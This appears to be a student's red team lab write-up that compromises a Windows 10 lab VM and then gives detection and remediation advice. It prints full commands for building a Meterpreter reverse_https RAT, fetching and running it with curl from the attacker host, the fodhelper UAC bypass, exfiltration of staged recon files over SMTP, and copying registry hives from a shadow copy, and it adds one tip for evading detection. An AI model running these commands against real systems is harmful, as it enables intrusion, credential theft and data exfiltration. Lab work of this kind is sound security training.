Repository navigation
Week 6 Lab
During this simulated Red Team assessment, an initial foothold was established on the target Windows 10 host by utilizing compromised RDP credentials obtained from a darknet breach dump, followed by establishing a reverse HTTPS C2 session. Local privilege escalation to NT AUTHORITY\SYSTEM was achieved by exploiting a User Account Control (UAC) bypass via registry hijacking of the auto elevating fodhelper.exe utility. The elevated context enabled host enumeration, staging, non-standard SMTP data exfiltration, and full Volume Shadow Copy extraction. To remediate these risks, it is recommended to enforce Multi-Factor Authentication (MFA) on remote access endpoints, restrict egress traffic on non-standard protocol ports, and implement strict UAC enforcement along with registry monitoring.
Objective: Create two RATs using msfvenom's reverse_https meterpreter module (ports ≥ 12000) and configure a listener for Phase 1.
# Run twice with different ports
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR_IP> LPORT=<YOUR_PORT> -f exe -o payload.exe
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST YOUR_IP
set LPORT YOUR_PORT
exploit -j
| Parameter | Value | Justification |
|---|---|---|
| Payload module | reverse_https |
Blends with normal TLS traffic vs raw TCP |
| LHOST | 10.0.17.37 | Attacking Host IP Address |
| LPORT (RAT 1) | 12001 | Above 12000 |
| LPORT (RAT 2) | 12002 | Above 12000 |
Access Vector Used: Option B: Darknet Credential Simulation
The premise simulates an insider / darknet credential resale scenario: champuser's RDP credentials for the target workstation were obtained from a third party breach dump on a darknet marketplace. As the attacker, I purchased/obtained the leaked credentials and used them directly to authenticate over RDP, then used a native CLI download utility from an authenticated command prompt to pull the RAT binary from the C2 server and execute it, establishing the Meterpreter session as champuser without needing the user to click anything or needing a malicious document to be opened.
RDP Authentication:
xfreerdp3 /u:champuser /p:<CHAMPUSER_PASSWORD> /v:<WINDOWS_10_VM_IP> /cert:ignore
CLI Download of RAT:
curl.exe -o C:\Users\champuser\Downloads\payload.exe http://<YOUR_IP>:8000/payload.exe
Execution:
C:\Users\champuser\Downloads\payload.exe
Session Field Breakdown:
| Field | Meaning |
|---|---|
| ID | Unique session number, used to reference it in later commands |
| Type | Agent type, meterpreter vs basic shell |
| Information | Connection tuple, attacker IP:port -> target IP:port |
| Connection | Displays the IP and port of the outgoing connection to the attacker VM IP and port |
getuid
| Module | Command | Key Findings |
|---|---|---|
| sysinfo | sysinfo |
Windows 10 Pro (Build 19045), x64 architecture, Workgroup environment |
| getuid | getuid |
Confirms execution context as DESKTOP-TARGET\champuser |
| getprivs | getprivs |
Standard user token privileges held |
| ps | ps |
Lists 74 running processes; confirms cmd.exe parentage and active security services |
| checkvm | run post/windows/gather/checkvm |
Confirms target is a virtual machine |
| local_exploit_suggester | ' use post/multi/recon/local_exploit_suggester; set SESSION 1; run; | Assist in finding potential exploits |
The script runs 12 native Windows commands (whoami, tasklist, netstat, sc.exe query, net user/localgroup, ipconfig, firewall profiles, arp, net session, systeminfo), each piped to its own file in C:\temp\, to cover accounts, services, network state, and patch level.
Open notepad and paste the below script in:
whoami /all > C:\temp\01_user_groups_privileges.txt 2>&1
tasklist > C:\temp\02_running_processes.txt 2>&1
netstat -ano > C:\temp\03_network_connections.txt 2>&1
sc.exe query > C:\temp\04_running_services.txt 2>&1
net.exe user > C:\temp\05_local_users.txt 2>&1
net.exe localgroup > C:\temp\06_local_groups.txt 2>&1
net.exe localgroup Administrators > C:\temp\07_administrators.txt 2>&1
ipconfig /all > C:\temp\08_network_configuration.txt 2>&1
netsh advfirewall show allprofiles > C:\temp\09_firewall_policies.txt 2>&1
arp -a > C:\temp\10_arp_table.txt 2>&1
net.exe session > C:\temp\11_smb_sessions.txt 2>&1
systeminfo > C:\temp\12_system_information.txt 2>&1
Then save the script as a .ps1 file, and run it using
powershell C:\Users\champuser\Downloads\recon.ps1
Last image is running the C:\Users\champuser\Downloads\recon.ps1, although you can't make out the later half of the command positively you can infer.
Tool used: 7z
"C:\Program Files\7-Zip\7z.exe" a C:\temp\enumCampaign.7z C:\temp\*.txt
Method used: SMTP
STMP was chosen as the non-standard exfiltration protocol to bypass security monitoring designed primarily around HTTP(S) Traffic. Traditional SOC and data loss prevention systems heavily inspect web traffic using SSL and TLS decryption. Conversely, outbound SMTP connections on port 25 are frequently overlooked or allowed through outbound firewall rules to support legacy application notifications or automated local email scripts, allowing SMTP to be less suspected of exfiltrating.
A defender could detect this exfiltration technique through both network and endpoint telemetry indicators: Through network telemetry, outbound firewall logs and network detection would ID suspicious outbound TCP connections on port 25 from a workstation IP address to an untrusted external IP, rather than an authorized internal corporate mail gateway. Through Endpoint monitoring, flagging something like powershell.exe executing Send-MailMessage with attachement parameters targeting an external IP address.
sudo python3 -m aiosmtpd -n -l 0.0.0.0:25 > /tmp/smtp_capture.txt
Send-MailMessage -From "champuser@lab.local" -To "kali@lab.local" -Subject "enumexfiltration" -Body "All files attached" -Attachments "C:\temp\enumCampaign.7z" -Port 25 -SmtpServer "10.0.17.37"
cat > /tmp/extract_smtp.py << 'EOF'
from email import message_from_string
import os
import re
SAVE_DIR = "/home/kali/Desktop/smtp_exfil/"
os.makedirs(SAVE_DIR, exist_ok=True)
# Read the captured SMTP output
with open('/tmp/smtp_capture.txt', 'r') as f:
content = f.read()
# Extract the email content between DATA markers
match = re.search(r'b\'(.*?)\'', content, re.DOTALL)
if not match:
# Try finding raw email content directly
start = content.find('Content-Type:')
email_content = content[start:]
else:
email_content = match.group(1)
msg = message_from_string(email_content)
saved = 0
for part in msg.walk():
if part.get_content_disposition() == 'attachment':
filename = part.get_filename()
data = part.get_payload(decode=True)
filepath = os.path.join(SAVE_DIR, filename)
with open(filepath, 'wb') as f:
f.write(data)
print(f"Saved: {filename} ({len(data)} bytes)")
saved += 1
print(f"Done. Extracted {saved} attachments.")
EOF
sudo python3 /tmp/extract_smtp.py
Name / CVE: UAC Bypass via Fodhelper; design flaw
Root Cause: A lack of registry validation and auth-elevation inheritance within the Windows Feature of fodhelper.exe allows us to bypass UAC through registry hijacking and trusted process spoofing. Being a default administrative binary in Windows and signed by microsoft, it auto elevates without displaying a UAC prompt.
How It Bypasses Standard Controls: When a user account belonging to the local Administrators group runs under a medium integrity split token, UAC normally restricts privileged actions. By using a custom execution payload into HKCU\Software\Classes\ms-settings\Shell\Open\command and invoking fodhelper.exe, the auto elevating executable reads and executes the custom registry value under a High Integrity token, bypassing the UAC interaction prompt.
Once a session has been established with the first reverse_https payload, run these commands via msfconsole to exploit the weakness:
use exploit/windows/local/bypassuac_fodhelper
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 10.0.17.37
set LPORT 12003
exploit
meterpreter > getuid
meterpreter > getsystem
meterpreter > getuid
Link to Phase 2 Enumeration: Using getprivs to identify that champuser belongs to the BUILTIN\Administrators group was key. If the account is only an unprivileged user without local admin group membership, the UAC bypass vectors would not work.
shell
wmic shadowcopy call create Volume="C:\"
vssadmin list shadows
shell
powershell
vssadmin list shadows
# run as cmd as powershell does not have this module
mklink /d C:\Users\Public\vsc_mount\ \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
# back to powershell
Compress-Archive -Path "C:\Users\Public\vsc_mount\Windows\System32\config" -DestinationPath "C:\Users\Public\vsc_backup.zip" -Force
exit
exit
download "C:\\Users\\Public\\vsc_backup.zip" "~/Downloads/vsc_backup.zip"
# Navigate to Downloads on C2
unzip vsc_backup.zip -d extracted_vsc_restored/
tree extracted_vsc_restored/
| Timestamp | Process | Parent Process | Command Line |
|---|---|---|---|
| 10/6/2026 11:43:04 PM | curl.exe | cmd.exe | curl.exe -o C:\Users\champuser\Downloads\payload12001.exe http://10.0.17.37:8000/payload12001.exe |
| 10/6/2026 11:44:37 PM | payload12001.exe | cmd.exe | C:\Users\champuser\Downloads\payload12001.exe |
| 10/6/2026 11:50:26 PM | powershell.exe | powershell.exe | powershell C:\Users\champuser\Downloads\recon.ps1 |
| 10/6/2026 11:54:15 PM | whoami.exe | powershell_ise.exe | "C:\Windows\system32\whoami.exe" /all |
| 10/6/2026 11:54:16 PM | NETSTAT.EXE | powershell_ise.exe | "C:\Windows\system32\NETSTAT.EXE" -ano |
| 10/6/2026 11:54:17 PM | systeminfo.exe | powershell_ise.exe | "C:\Windows\system32\systeminfo.exe" |
| 10/6/2026 11:55:04 PM | 7z.exe | cmd.exe | "C:\Program Files\7-Zip\7z.exe" a C:\temp\enum_stage1.7z C:\temp*.txt |
The process creation events recorded in Sysmon Event ID 1 reveal clear operational behaviors with varying levels of detection risk:
Likely Flagged:
- curl.exe downloading payload12001.exe from an external IP into the Downloads folder. Most security tools would see this pattern and flag CLI utilities retrieving executables from external sources into user directories.
- Running payload12001.exe itself. Launching an unrecognized and unsigned .exe from a user's Downloads folder is one of the most basic things security tools flag.
- The 7z.exe command zipping up the .txt files in C:\temp. Putting a bunch of files into one archive right before likely exfiltration is a "staging" pattern that security tools look for.
Likely to Slip By:
- Lolbins, whoami, netstat, systeminfo, etc. Totally normal, built into windows commands that IT staff and devs use often, and look harmless on their own. The only way a monitoring tool would catch this is if the tool notices several of these basic recon commands are going back to back in a short window on one machine.
-
Detection Logic Improvement: Implement parent-child process correlation rules within the SIEM or EDR that raise an alert whenever discovery binaries are spawned sequentially by scripting interpreters, or by recently dropped executables located outside standard system directories.
-
TTP Evasion Modification: Avoid spawning native curl.exe processes that write executable files to disk. Instead perform payload download and execution entirely in memory or load reconnaissance modules dynamically within the C2 framework session to reduce Sysmon Event ID 1 process creation artifacts.
-
Enforce Multi Factor Authentication and Remote Access Hardening: Require MFA for all RDP and remote access endpoints, and integrate continuous darknet and breach credential monitoring to invalidate leaked credentials before they can be leveraged for access.
-
Restrict UAC Bypass Pathways and Registry Execution: Set UAC settings to "Always Notify" and restrict regular user modification privileges for auto elevating binary registry paths. Additionally, enforce Windows Defender Application Control/AppLocker policies.
-
Implement Strict Network Egress Filtering and PowerShell Auditing: Configure perimeter firewalls to block all outbound workstation traffic on non-standard ports (including port 25/SMTP) except to explicit and trusted internal infrastructure. Enable PowerShell Script Block Logging and to capture and inspect encoded or scripted exfiltration attempts.